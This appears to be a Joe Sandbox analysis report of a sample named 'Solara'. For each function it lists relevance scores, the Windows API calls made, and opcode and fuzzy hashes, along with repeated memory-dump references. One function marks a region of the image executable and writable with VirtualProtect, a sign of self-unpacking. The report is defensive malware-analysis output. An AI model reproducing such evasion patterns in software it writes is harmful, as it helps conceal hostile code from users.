Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 9f01110aa240232cced4f4c41c9d36b916c8d1e7b44793d168e73164864729aa
Instruction ID: 2bc863ddd19a7f49c185fb425c2d49b46b268afaf40ace4406ff3fe68f9753a0
Opcode Fuzzy Hash: 9f01110aa240232cced4f4c41c9d36b916c8d1e7b44793d168e73164864729aa
Instruction Fuzzy Hash: BB213839BA1312BBC7318F64FC49A9A77A9AB61360F340113FC05A7690D730ED61CAD0

Function 00201750 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 00201783

Strings

ios_base::failbit set, xrefs: 00201BEF
ios_base::eofbit set, xrefs: 00201BEA
ios_base::badbit set, xrefs: 00201BFA, 00201C20

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: 7dafe65954eaa3124943e4e5382250efa8de0d4ab4231c8ac82ae34d08415772
Instruction ID: c50a9525ffeb7084991e2d9a3a39fd97a64b551725d1666c4409f51ea7a11a5b
Opcode Fuzzy Hash: 7dafe65954eaa3124943e4e5382250efa8de0d4ab4231c8ac82ae34d08415772
Instruction Fuzzy Hash: 11F16C75A102198FCB14CF68C494BADB7F1FF88324F198269E815AB3E2D774AD51CB90

Function 00215349 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_00015470,00000000,00000000,00000000), ref: 00215392
GetLastError.KERNEL32(?,?,?,00202513,00000000,00000000), ref: 0021539E
__dosmaperr.LIBCMT ref: 002153A5

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 3ce6cef220c6b84937c095c5a18dba1c502677625df22703f81894fcae652507
Instruction ID: 02296ddf1b858433173d4bbe798f3e9caa7a196b26e63e57a783af024d402c45
Opcode Fuzzy Hash: 3ce6cef220c6b84937c095c5a18dba1c502677625df22703f81894fcae652507
Instruction Fuzzy Hash: 3B016D7252062AEBCF159FA0DC09AEE3BE8EFA0351F104099F81192150EBB0DAA1DA50

Function 002154EE Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0021C2BB: GetLastError.KERNEL32(00000000,?,002176E9,0021D306,?,?,0021C1B7,00000001,00000364,?,00000005,000000FF,?,00215495,00238E38,0000000C), ref: 0021C2BF
Part of subcall function 0021C2BB: SetLastError.KERNEL32(00000000), ref: 0021C361

CloseHandle.KERNEL32(?,?,?,002153D9,?,?,002154CE,00000000), ref: 0021551F
FreeLibraryAndExitThread.KERNELBASE(?,?,?,?,002153D9,?,?,002154CE,00000000), ref: 00215535
ExitThread.KERNEL32 ref: 0021553E

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary
String ID:
API String ID: 1991824761-0
Opcode ID: cf2acef33b555e9d99e57e1f8d3d782478b0914590f0ca3d13e29c9fe385e168
Instruction ID: 950a33aa2b4ca6f29c416368319159d6e8ba07adc5dcfd7a0bb3c82822c0ab9e
Opcode Fuzzy Hash: cf2acef33b555e9d99e57e1f8d3d782478b0914590f0ca3d13e29c9fe385e168
Instruction Fuzzy Hash: 11F05470110A12FBCB355F75984C69B3ADBAF50370B588A94F869C75A0DB30DDA28750

Function 0021565F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,00215721,00218396,00218396,?,00000002,75E5C5C8,00218396,00000002), ref: 00215670
TerminateProcess.KERNEL32(00000000,?,00215721,00218396,00218396,?,00000002,75E5C5C8,00218396,00000002), ref: 00215677
ExitProcess.KERNEL32 ref: 00215689

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 41549fd9d056191a7c80575f5a8ae7914d7c1bb5e806d3f433f1284e0a21ca3f
Instruction ID: 5b567e2ab98275dcd9a9e9beff74b41f069c4844fdb73a347b10716d7820ccbd
Opcode Fuzzy Hash: 41549fd9d056191a7c80575f5a8ae7914d7c1bb5e806d3f433f1284e0a21ca3f
Instruction Fuzzy Hash: 6BD09232010658FBCF012F61EC0D8993F6EEFA0381B888451B9494A072DF329DA2DA94

Function 00223BF4 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00223F9E: GetConsoleOutputCP.KERNEL32(75E5C5C8,00000000,00000000,?), ref: 00224001

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00218584,?), ref: 00223D79
GetLastError.KERNEL32(?,?,00218584,?,002187C8,00000000,?,00000000,002187C8,?,?,?,00238FE8,0000002C,002186B4,?), ref: 00223D83

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: db214807a8610110ea9280df14795781a1830cd4c2504f163733588117dbe8b1
Instruction ID: d86d8ebddbcee25c4ea73f20be1c192357326c42c900005e42f4b322a3e34ab5
Opcode Fuzzy Hash: db214807a8610110ea9280df14795781a1830cd4c2504f163733588117dbe8b1
Instruction Fuzzy Hash: 2161C37192412ABFDF11CFE8E844AEEBBB9BF09304F140146E900B7251D779DA21CBA0

Function 002243CD Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,00223D5F,00000000,002187C8,?,00000000,?,00000000), ref: 00224469
GetLastError.KERNEL32(?,00223D5F,00000000,002187C8,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00218584), ref: 0022448F

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: dfaca3f13252253d272e6e0841eab8643bfb2fb88bcb9770b33e65f598d10a9b
Instruction ID: dcd47fe12d7dcfb8155904e44d9198acb2a097f58bffa7fa6d333953559c2d87
Opcode Fuzzy Hash: dfaca3f13252253d272e6e0841eab8643bfb2fb88bcb9770b33e65f598d10a9b
Instruction Fuzzy Hash: CF21B430A10229ABCF15EF59EC80ADDB7B9FB48305F1444A9E906D7211D630DD52CF60

Function 002090F0 Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 002091C9
std::_Throw_Cpp_error.LIBCPMT ref: 002091D7

Part of subcall function 0020EFD2: ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,00208E4A,0020A2F0), ref: 0020EFE7

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ExclusiveLockRelease
String ID:
API String ID: 3666349979-0
Opcode ID: a3b70335aa7019cbf2fbe905c843d038c0ae131906c16f465c381bb0f0b9be38
Instruction ID: 25292061ef4bd626d9dc33072d0f25abef7293791d05a12f001cb166a5082501
Opcode Fuzzy Hash: a3b70335aa7019cbf2fbe905c843d038c0ae131906c16f465c381bb0f0b9be38
Instruction Fuzzy Hash: EE21F1B1A007469BDB109F648945BAEFBB5FB04320F144228E52A673C3D774A965CBD2

Function 0021DA52 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,0021D941,00239330,0000000C), ref: 0021DA9E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,0021D941,00239330,0000000C), ref: 0021DAB0

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 2d11aec3656576dc067552c68ce0f3644b52275ac1a55755928e938d2fb77ef1
Instruction ID: 47f4fdc7648a8c72bbcfa662d30b8e8bf03ef9b1e01532c5dd90fad7e8b01d90
Opcode Fuzzy Hash: 2d11aec3656576dc067552c68ce0f3644b52275ac1a55755928e938d2fb77ef1
Instruction Fuzzy Hash: 7C11B772128B43CAC730CE3E9C8C6667AD5AF76330B38075AD0B6865F1C6B1D8E6D200

Function 00201EF0 Relevance: 3.1, APIs: 2, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00201240: _strlen.LIBCMT ref: 002012BA

FreeConsole.KERNELBASE(?,?,?,?,?,0020173F,?,?,?,00000000,?), ref: 00201F21
VirtualProtect.KERNELBASE(0023A011,00000549,00000040,?), ref: 00201F78

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ConsoleFreeProtectVirtual_strlen
String ID:
API String ID: 1248733679-0
Opcode ID: 34529d41c0dada37e1c2587539075176342c62ab761974d4cd61904ed7eba277
Instruction ID: dbfc3ff8824c28746252edddaa8a6dce9c07a947f14ffd957923942f5be14a14
Opcode Fuzzy Hash: 34529d41c0dada37e1c2587539075176342c62ab761974d4cd61904ed7eba277
Instruction Fuzzy Hash: 5511C175A102146BDB04ABA4EC07FAE7778EB45701F504439FA04A72D3E67199714B91

Function 00215470 Relevance: 3.0, APIs: 2, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00238E38,0000000C), ref: 00215483
ExitThread.KERNEL32 ref: 0021548A

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 411e8221616531b33eba8aed73a4a64a341b11860cabc9d3e596bf41b4cc2cc1
Instruction ID: 154d16c6d1d9b4f12fae2617cf11749acde9fac9edf8a3e1c4a8079bd8f6568c
Opcode Fuzzy Hash: 411e8221616531b33eba8aed73a4a64a341b11860cabc9d3e596bf41b4cc2cc1
Instruction Fuzzy Hash: 0EF0A475660615AFDB10AF70D80EAAE7BB4FF50710F20849AF00597292DF7459A1CF91

Function 00202270 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 00202288
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0020229C

Part of subcall function 00201FB0: CreateFileA.KERNELBASE ref: 00202036
Part of subcall function 00201FB0: GetFileSize.KERNEL32(00000000,00000000), ref: 00202046
Part of subcall function 00201FB0: ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 0020206B
Part of subcall function 00201FB0: CloseHandle.KERNELBASE(00000000), ref: 0020207A
Part of subcall function 00201FB0: _strlen.LIBCMT ref: 002020CD

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: File$HandleModule$CloseCreateNameReadSize_strlen
String ID:
API String ID: 3505371420-0
Opcode ID: f21882c57a3bd28a0dce0ea0efbd54b207b79d6bf0615be2a8c69d2544cd3e4f
Instruction ID: 0a9a58c8b08b78e413c43e61ab3311437405269e2135b4db864c8b2dfa67a780
Opcode Fuzzy Hash: f21882c57a3bd28a0dce0ea0efbd54b207b79d6bf0615be2a8c69d2544cd3e4f
Instruction Fuzzy Hash: 94F0E5B191135027D6216B24BC4FEEB7BBCDF95710F004915F5894A182EA7415658A93

Function 0021BED7 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,002202B4,?,00000000,?,?,0021FF54,?,00000007,?,?,0022089A,?,?), ref: 0021BEED
GetLastError.KERNEL32(?,?,002202B4,?,00000000,?,?,0021FF54,?,00000007,?,?,0022089A,?,?), ref: 0021BEF8

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 1243fe4ecf9e9b65cfba49c65d7d2f7b4d7db47e1446234f1184847623458aa3
Instruction ID: 32902ceaf13bc6ca59608f0f8fddef2fec259045871d989e1cd612e7db391050
Opcode Fuzzy Hash: 1243fe4ecf9e9b65cfba49c65d7d2f7b4d7db47e1446234f1184847623458aa3
Instruction Fuzzy Hash: 26E08C32204254ABCB122FA4BC0CBD93BFDEB60391F108022F60896170CB3188A1CF94

Function 0020DEF0 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06b77c12891fc6b374d63d8e5c23f2b4bdd9f81e1be126da4261a7cd6d7f4e80
Instruction ID: 3a88896efd4fcfd9ad164b50a7cea28a2085df19eb47ad1f1e65b595f774a694
Opcode Fuzzy Hash: 06b77c12891fc6b374d63d8e5c23f2b4bdd9f81e1be126da4261a7cd6d7f4e80
Instruction Fuzzy Hash: 7D418231A2021BAFCF14DFA8C4549EDB7B9FF18310F544069E442E7A81DB31E9A5DB50

Function 0020CB40 Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f819ac6451bc4ffbaa6d2828703778cea0c971bc0992546371654783be6716ca
Instruction ID: dbb5fb845519939fff793f95bb4f686b326bcad7a7e58a28c281ae4da98865b9
Opcode Fuzzy Hash: f819ac6451bc4ffbaa6d2828703778cea0c971bc0992546371654783be6716ca
Instruction Fuzzy Hash: 943197B192021AAFCB14CF68D8949EDB7B8BF09324B240366E515E36D1D731E964CB94

Function 0020B060 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 0020AFC4: GetModuleHandleExW.KERNEL32(00000002,00000000,00208A2A,?,?,0020AF87,00208A2A,?,0020AF58,00208A2A,?,?,?), ref: 0020AFD0

FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,75E5C5C8,?,?,?,Function_0002BE94,000000FF), ref: 0020B0C7

Part of subcall function 0020AEFA: std::_Throw_Cpp_error.LIBCPMT ref: 0020AF1B

Part of subcall function 0020EFD2: ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,00208E4A,0020A2F0), ref: 0020EFE7

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: CallbackCpp_errorExclusiveFreeHandleLibraryLockModuleReleaseReturnsThrow_Whenstd::_
String ID:
API String ID: 3627539351-0
Opcode ID: 1c2e707d541f759b63e433cb093f3c6ac44e9848fab5c0ecccfd16a177018cf0
Instruction ID: 705761e94c1d93bf44f1fc322c3fc28e72c3d926ef69250ff6be891348ee01f6
Opcode Fuzzy Hash: 1c2e707d541f759b63e433cb093f3c6ac44e9848fab5c0ecccfd16a177018cf0
Instruction Fuzzy Hash: C011083361470267CB266F15EC19A2EB769EF41B20F10882AF81697AD2CB35D820CF41

Function 0021CFD6 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
